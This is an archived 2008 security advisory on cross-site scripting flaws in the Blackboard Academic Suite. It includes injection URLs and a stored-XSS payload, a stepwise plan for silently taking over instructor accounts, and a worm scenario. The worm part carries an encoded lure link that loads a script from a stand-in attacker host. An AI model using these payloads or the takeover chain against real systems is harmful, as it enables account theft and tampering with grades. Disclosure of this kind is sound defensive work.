<<< Date Index >>>     <<< Thread Index >>>

Blackboard Academic Suite Multiple XSS Vulnerabilities



////////////////////////////////////////////////////////////////////////////////
//Note:
//The full version of this report (in pdf format) available at my blog: 
//http://www.secskill.wordpress.com
// OR :
//http://www.scribd.com/doc/2363025/Blackboard-Academic-Suite-Multiple-XSS-Vulnerabilities-
////////////////////////////////////////////////////////////////////////////////////////


Blackboard Academic Suites Multiple Cross Site Scripting Vulnerabilities

Background:
Blackboard Academic Suite Blackboard is an enterprise software solution for 
providing interactive learning and management capabilities for educational 
institutions.
Many institutions currently are using Blackboard such as: Princeton, Yale, Duke 
University of Pennsylvania, and University of Texas at Austin ?

Platforms Affected:
All versions (7.x and lower)

Description: Combining XSS and some conditions already exists in Blackboard 
system.
Attacker can login and do everything (change grades, edit online test?s 
content?) with instructors? identity.

Vulnerable paths:
1/
http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&searchText=?><script>alert(?xss?)</script>

2/Add announcement page: (instructor access only)
http://site.edu/bin/common/announcement.pl?action=ADD&course_id=_137839_1&render_type=EDITABLE&context=course

<input type="text" name="data__announcements___pk1_pk2__subject" 
value=?<script>alert(?worm activated!?)</script>? />

Author: Duong Thanh - Knight4vn 
(knightvn (at) gmail.com or knight4vn (at) yahoo.com )

Vulnerabilities discovered: 12/2007

Vendor and Universities Contacted: 02/2008

Public disclosure: 03/2008


PART I - COMPROMISING USER?S ACCOUNT 
Explanation:
When user already has session and he/she clicks on that link (from email), the 
exploit code will be automatically executed. User?s email address is changed 
without his/her notice. At the same time, his/her current email address, first 
and last name, and current encrypted password (in User Information page) is 
logged by a remote server side script. 

The attacker reads all these information in a log file. 
After that, he gets a new user password sent to his email address by using Lost 
Password form.
With victim?s username and password, the attacker has full permission on that 
account and does whatever he wants.
Upon finishing his works, he changes back user?s initial email address and 
encrypted password.


Analysis:
Although we can change victim?s password by using exploit code but we should 
not use it. The victim can not login to the system and he/she immediately 
realize there is something fishy.

Edit Personal Info page:
http://site.edu/webapps/blackboard/execute/editUser?context=self_modify

Blackboard stores encrypted user password in Edit Personal Info page:

<INPUT TYPE="hidden" NAME="password" VALUE="CE0BFD15059B68D67688884D7A3D3E8C">

Hence, we have no problem with grabbing current user?s encrypted password. 


On this page: 
http://site.edu/bin/common/user.pl?action=MODIFY&context=PASSWORD
Blackboard calls a function in ?/javascript/md5.js? to encrypt password on 
client side before submitting this form to 
?/webapps/blackboard/execute/editUser?. So it?s possible to submit directly 
encrypted password to the server side script. Therefore, we take advantage of 
this to bring victim?s encrypted password back to its initial state.
As a result, victim?s account was compromised completely without his/her 
awareness.

Proof-of-concept: 
Steal.js



PART II - MAKING A WEB-BASED WORM

Just imagine what would happen if someone took advantage of these holes to 
create a javascript-based worm? Think about this scenario for a second:
A black-hat guy wrote a worm and he send it to a person (for ex: an instructor).
The instructor immediately gets infected. The worm uses his identity to spread 
by sending itself to all student current enrolling his courses. Students get 
infected; the worm once again uses their identity to send itself to all their 
classmates and their other instructors? Combination of multiple XSS 
vulnerabilities make the worm spread very fast.
During its propagation, the worm could log all private users info (emails, 
names, grades?) then report back to the attacker (for spamming purposes), or it 
could simply do whatever the attacker wants with user account.

ANALYSIS:
Blackboard does not filter on title of Announcement

<input type="text" name="data__announcements___pk1_pk2__subject" 
value=?<script>alert(?worm activated!?)</script>? />

So we can take advantage of this persistent XSS to inject arbitrary script on 
the web page.
The announcement will be posted on the front page. So once students log in 
The malicious script will have to be run at least one time. 


Students spread this worm by sending the infected link to their classmates 
and his other instructors via Send mail form of Blackboard.
Here is what a student will be forced to send in the email.

Encoded Version:
Hi,
I don?t understand today online assignment. Would you mind helping me out?
http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&searchText=%94%3E%3C%73%63%72%69%70%74%20%73%72%63%20%3D%20%91%68%74%74%70%3A%2F%2F%65%76%69%6C%2F%77%6F%72%6D%2E%6A%73%92%3E%3C%2F%73%63%72%69%70%74%3E

Proof-Of-Concept: worm.js

Worm Features:
Log all user info and send them to the attacker.
Propanagate by Send mail form and create announcements with hidden malicious 
script.

CONCLUSION:
It is possible for hackers to silently steal instructor?s password and change 
his grade. In worst case, he could use XSS worm to take the entire system down 
(MySpace?s case). The consequence is foreseeable.